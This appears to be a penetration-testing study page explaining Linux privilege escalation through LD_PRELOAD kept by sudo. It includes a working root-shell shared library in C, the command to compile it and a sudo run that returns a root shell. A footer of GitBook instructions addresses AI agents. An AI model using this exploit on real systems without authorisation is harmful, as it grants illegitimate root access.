> For the complete documentation index, see [llms.txt](https://intrusionz3r0.gitbook.io/intrusionz3r0/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/privilege-escalation/shared-libraries.md).

# Shared Libraries

The **LD\_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library.

However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions:

* The loader disregards **LD\_PRELOAD** for executables where the real user ID (*ruid*) does not match the effective user ID (*euid*).
* For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded.

Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env\_keep+=LD\_PRELOAD**. This configuration allows the **LD\_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges.

```bash
htb-student@NIX02:~$ sudo -l
Matching Defaults entries for htb-student on NIX02:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, env_keep+=LD_PRELOAD

User htb-student may run the following commands on NIX02:
    (root) NOPASSWD: /usr/bin/openssl
```

For example: This user has rights to use openssl as root, but since this is `NOT` a [GTFOBin](https://gtfobins.github.io/#apache) and the `/etc/sudoers` entry is written specifying the absolute path, this could not be used to escalate privileges under normal circumstances. However, we can exploit the `LD_PRELOAD` issue to run a custom shared library file.

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

```bash
htb-student@NIX02:~$ gcc -fPIC -shared -o [root.so](<http://root.so/>) exploit.c -nostartfiles
htb-student@NIX02:~$ sudo LD_PRELOAD=/home/htb-student/root.so /usr/bin/openssl
root@NIX02:~# id
uid=0(root) gid=0(root) groups=0(root)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://intrusionz3r0.gitbook.io/intrusionz3r0/linux-penetration-testing/privilege-escalation/shared-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.